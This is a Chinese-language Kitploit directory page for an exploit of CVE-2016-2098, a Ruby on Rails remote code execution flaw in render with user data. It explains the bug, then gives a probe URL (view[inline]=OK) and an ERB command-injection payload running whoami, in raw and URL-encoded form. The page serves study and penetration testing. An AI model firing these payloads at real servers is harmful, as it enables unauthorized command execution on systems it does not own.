Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2016-2098 — 当对用户提供的数据使用 render 时,Ruby-on-Rails 中存在远程代码执行漏洞。 | Kitploit
工具/GitHubGitHub/j4k0m/cve-2016-2098
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubj4k0m/cve-2016-2098

CVE-2016-2098

当对用户提供的数据使用 render 时,Ruby-on-Rails 中存在远程代码执行漏洞。

查看仓库
44年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2016-2098

当在用户提供的数据上使用 render 时,Ruby-on-Rails 中的远程代码执行漏洞。

说明:

此问题源于对用户提供的数据使用 render 方法。

render 方法通常用于从模板渲染页面,但 render 方法也允许开发者渲染纯文本(plaintext)甚至内联代码(inline)。

render 函数:

root@kitploit:~
# File actionpack/lib/abstract_controller/rendering.rb, line 23
def render(*args, &block)
  options = _normalize_render(*args, &block)
  rendered_body = render_to_body(options)
  if options[:html]
    _set_html_content_type
  else
    _set_rendered_content_type rendered_format
  end
  _set_vary_header
  self.response_body = rendered_body
end

利用示例:

目标 URL:

root@kitploit:~
http://example.com/?view=test

利用:

root@kitploit:~
http://example.com/?view[inline]=OK

如果在源代码中显示 'OK',则 Web 应用程序存在 CVE-2016-2098 漏洞。

远程代码执行

root@kitploit:~
<%= %x('[CMD]') %>

我们可以将 CMD 替换为我们想要执行的命令。

root@kitploit:~
<%= %x('whoami') %>

经过 URL 编码后:

root@kitploit:~
%3C%25=%20%25x(whoami)%20%25%3E

最终:

root@kitploit:~
http://example.com/?view[inline]=%3C%25=%20%25x(whoami)%20%25%3E

资源:

  • https://guides.rubyonrails.org/layouts_and_rendering.html
下载工具